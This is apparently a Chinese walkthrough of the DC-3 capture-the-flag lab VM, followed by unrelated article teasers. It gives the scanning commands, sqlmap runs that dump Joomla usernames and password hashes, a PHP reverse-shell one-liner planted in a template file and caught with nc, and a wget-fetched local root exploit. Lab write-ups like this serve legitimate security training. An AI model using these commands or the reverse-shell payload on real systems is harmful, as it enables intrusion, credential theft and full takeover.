DC系列 DC:3

DC系列 DC:3

文章目录

  • DC系列 DC:3
    • 调试靶机
    • 信息收集
      • IP端口信息收集
    • 框架漏洞利用
      • joomscan扫描工具利用
      • msf工具利用(无法使用)
      • kali漏洞库利用
      • sqlmap利用
    • 文件上传
    • 提权

调试靶机

点击虚拟机设置选择CD/DVD点击高级将IDE调成画面中这个选项
在这里插入图片描述

信息收集

IP端口信息收集

对自己网段进行扫描快速锁定ip
arp-scan 10.4.7.0/24
在这里插入图片描述
nmap -A 10.4.7.22对端口服务进行详细扫描
在这里插入图片描述
可以看到目标机开放着http服务 框架为joomla

框架漏洞利用

joomscan扫描工具利用

用joomscan对改目标机进行扫描
joomscan -u http://10.4.7.22 --ec
在这里插入图片描述

msf工具利用(无法使用)

用msf查找版本漏洞
在这里插入图片描述
使用漏洞并使用php/meterpreter/reverse_tcp攻击载荷
在这里插入图片描述
添加攻击地址进行攻击发现没用连不上
在这里插入图片描述

kali漏洞库利用

在kali的漏洞库里进行搜索漏洞
searchsploit oomla 3.7.0
在这里插入图片描述
发现该版本是存在sql注入漏洞的我们查看该文件

  • locate php/webapps/42033.txt获取文件绝对路径
  • cat /usr/share/exploitdb/exploits/php/webapps/42033.txt查看文件
    在这里插入图片描述

sqlmap利用

给我们提供了该框架sql注入的地址和sqlmap语句我们直接跑
sqlmap -u "http://10.4.7.22/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs
在这里插入图片描述
可能时间会有点长最后跑出5个库
在这里插入图片描述
我们继续跑查看joomladb库里有什么

sqlmap -u "http://10.4.7.22/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D "joomladb" --tables   

在这里插入图片描述
跑出来user表我们继续跑里面的字段

sqlmap -u "http://10.4.7.22/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D "joomladb" -T "#__users" --column  

在这里插入图片描述
跑出来很多字段我们重点关注username和password
在这里插入图片描述
我们跑出来看看

sqlmap -u "http://10.4.7.22/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D "joomladb" -T "#__users" -C "username,password" --dump 

得到了账号密码但密码时加密的
在这里插入图片描述
我们用将密钥保存到文档里用john进行解密
在这里插入图片描述
得到密码snooy我们去joomla进行登录
这个页面joomscan扫到的
在这里插入图片描述
用账号密码进行登录
在这里插入图片描述
登录成功

文件上传

在extcnsions里选择templates中的templates里选择第二个(已经试过第一个了没反应)
在这里插入图片描述
找到index.php
在这里插入图片描述
上传小马

$sock = fsockopen("10.4.7.3", "10002");$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);

点击保存
在这里插入图片描述
kali开启nc nc -lvvp 10002
在这里插入图片描述

访问index.php页面http://10.4.7.22/index.php
在这里插入图片描述
反弹成功
在这里插入图片描述

提权

进来之后先加一层壳python -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述
查询系统版本cat /etc/*release
在这里插入图片描述
发现版本是Ubuntu 16.04去kali漏洞库里进行搜索searchsploit Ubuntu 16.04
在这里插入图片描述
下载下来查看searchsploit -m 39772.txt
在这里插入图片描述
查看文本文件 cat 39772.txt
在这里插入图片描述
发现该文件给了我们要使用的文件方法 并且跟我们说使用完60秒内就会变为root权限 并且给了我们下载地址
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip我们进行下载
在这里插入图片描述
下载完成我进行了解压传入了kali
在这里插入图片描述
在里面找到exploit.tar文件并在当前目录开启http服务传入目标机python -m http.server 80
在这里插入图片描述
在shell里cd 到tmp目录下用wget命令传入靶机http://10.4.7.3/exploit.tar
在这里插入图片描述
用tar命令进行解压tar xvf exploit.tar
在这里插入图片描述
cd到解压好的文件夹里对脚本文件进行赋权777 chmod 777 compile.sh chmod 777 doubleput.c
在这里插入图片描述
执行两个脚本文件
第一个执行时可能会报错但是没事进行执行第二个就好
/compile.sh
在这里插入图片描述
./doubleput
在这里插入图片描述
执行完成等待一会就成为root了
cd到root下拿下旗帜
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/179014.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DI93a HESG440355R3 通过其Achilles级认证提供网络安全

DI93a HESG440355R3 通过其Achilles级认证提供网络安全 施耐德电气宣布推出Modicon M580以太网PAC (ePAC)自动化控制器,该控制器采用开放式以太网标准,通过其Achilles级认证提供网络安全。M580 ePAC使工厂操作员能够设计、实施和运行一个积极利用开放网…

量子计算与量子密码(入门级-少图版)

量子计算与量子密码 写在最前面一些可能带来的有趣的知识和潜在的收获 1、Introduction导言四个特性不确定性(自由意志论)Indeterminism不确定性Uncertainty叠加原理(线性)superposition (linearity)纠缠entanglement 虚数的常见基本运算欧拉公式&#x…

nodejs国内镜像及切换版本工具nvm

淘宝 NPM 镜像站(http://npm.taobao.org)已更换域名,新域名: Web 站点:https://npmmirror.com Registry Endpoint:https://registry.npmmirror.com 详见: 【望周知】淘宝 NPM 镜像换域名了&…

java基础--多线程学习

写在前面: 多线程在面试中问的很多,之前没有过系统的学习,现在来进行一个系统的总结学习 文章目录 基础java多线程实现无参无返回值线程快速创建start和run方法的探讨run方法线程状态 有返回值线程线程池执行小结关于抛出异常的扩展 线程方…

CLion 2023.2.2(C ++ IDE智能代码编辑器)

CLion 2023是一款跨平台C/C集成开发环境(IDE)。它为Mac用户提供了高效的编程体验,帮助程序员们在Mac平台上进行C/C开发。 CLion 2023支持多种编译器和调试器,并具有强大的代码分析和导航功能。它还为用户提供了许多便捷的工具和插…

Mac连接linux的办法(自带终端和iterm2)

1. 使用Mac自带终端Terminal 1.1 点击右上角的聚焦搜索,再输入终端 1.2 查找linux系统的ip地址 在虚拟机里输入如下命令,找到蓝色区域的就是ip地址 ip addr 如果没有显示ip地址,可以重新安装一下虚拟机,之后确保以太网的连接是打…

Apache ActiveMQ (版本 < 5.18.3) (CNVD-2023-69477)RCE修复方案/缓解方案

一、漏洞描述 Apache ActiveMQ 是美国阿帕奇(Apache)基金会的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。 二、漏洞成因 ActiveMQ 默认开放了 61616 端口用于接收 OpenWire 协议消息,由于针对异常…

MySQL BinLog实战应用之二

一、前言 上篇 MySQL Binlog实战应用之一 主要讲了BinLog的开启以及用MySQLBinLog读取BigLog二进制文件,但MySQLBinLog很难直接对接Java,所以有了Canal这个Alibaba开发的用于MySQL增量日志解析,提供增量数据的订阅和消费组件。 二、Canal原…

什么是Webpack?它的主要功能是什么?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 欢迎来到前端入门之旅!感兴趣的可以订阅本专栏哦!这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

犀牛8 for Mac – 强大的三维建模软件,轻松实现创意设计

你是否正在寻找一款功能强大、易于使用的三维建模软件?犀牛8 for Mac是你的不二选择!作为最新版本的犀牛系列软件,它汇集了众多令人惊叹的特性,让你能够轻松实现自己的创意设计。 犀牛8 for Mac拥有丰富而强大的三维建模工具&…

Python库Requests的爬虫程序爬取视频通用模版

目录 一、引言 二、Requests库介绍 三、通用视频爬虫模板设计 1、确定目标网站和视频页面结构 2、发送HTTP请求获取页面内容 3、解析HTML内容提取视频链接 4、下载视频文件 四、模板应用与实践 五、注意事项 总结与展望 一、引言 随着互联网的发展,视频内…

机器人仿真-gazebo学习笔记(3)URDF和机器人模型

1.URDF简介 URDF(统一机器人麦哦书格式)是ROS中的重要机器人模型描述格式,ROS提供了URDF文件的c解析器,可以解析URDF文件中使用XML格式的机器人模型。 urdf - ROS Wiki 自己查阅ros官方对URDF的介绍其实会强于大部分网上流传的文章。 1.URDF文件常用的…

uni-app 解决钉钉小程序日期组件uni-datetime-picker不兼容ios问题

最近在使用uni-app开发 钉钉小程序 ,遇到一个ios的兼容性问题 uni-datetime-picker 组件在模拟器上可以使用,在真机上不生效问题 文章目录 1. 不兼容的写法,uni-datetime-picker 不兼容IOS2. 兼容的写法,使用 dd.datePicker 实现。…

记录 vue + vuetify + electron 安装过程

NodeJs 版本: 20 内容来自: Electron Vue.js Vuetify 构建跨平台应用_思月行云的博客-CSDN博客文章浏览阅读61次。Go coding!https://blog.csdn.net/kenkao/article/details/132600542 npm config set registry https://registry.npm.taobao.org np…

MongoDB——MongoDB删除系统自带的local数据库

一、MongoDB删除系统自带的local数据库 1.1、linux环境进入mongo客户端 输入 mongo 命令,进入命令行客户端 进入admin库,并登录,查看所有数据库 #进入admin库 use admin #并登录admin db.auth("username","password")…

【蓝桥杯】2023省赛H题

考察知识点:双向链表,小根堆 完整代码在文章末尾 题目 【问题描述】 给定一个长度为 N 的整数数列: A1,A2,...,AN。你要重复以下操作 K 次 :…

项目经理的三国时代,刘备与刘关张的项目计划

刘备在历史的洪流中抓住了“光复汉室”的战略机会,凭借他的身份和仁义,成功吸引了关羽和张飞两位团队成员。他们三人在桃园结下了深厚的情谊,标志着刘备规划已久的“光复汉室”项目正式启动。 然而,由于刘备在项目管理上的目标不…

[0xGame 2023 公开赛道] week4 crypto/pwn/rev

最后一周结束了,难度也很大,已经超出我这认为的新生程度了。 crypto Orac1e 先看题,题目先是给了加密过的flag然后提供不限次数的解密,不过仅提供解密后unpad的结果。 from Crypto.Util.number import * from Crypto.Cipher i…

Linux | 文件系统

目录 前言 一、预备知识 二、文件相关的系统调用 1、C语言的文件操作 2、系统调用接口 (1)open函数 (2)close函数 (3)write函数 (4)read函数 3、代码实操 三、深入理解文…

高浓度化工废水处理工艺是怎样的

高浓度化工废水处理工艺主要包括以下步骤: 预处理:通过物理、化学和生物等方法对废水进行预处理,以去除其中的悬浮物、油污、重金属等有害物质。常用的预处理方法包括沉淀、过滤、吸附、氧化等。化学氧化:利用氧化剂(…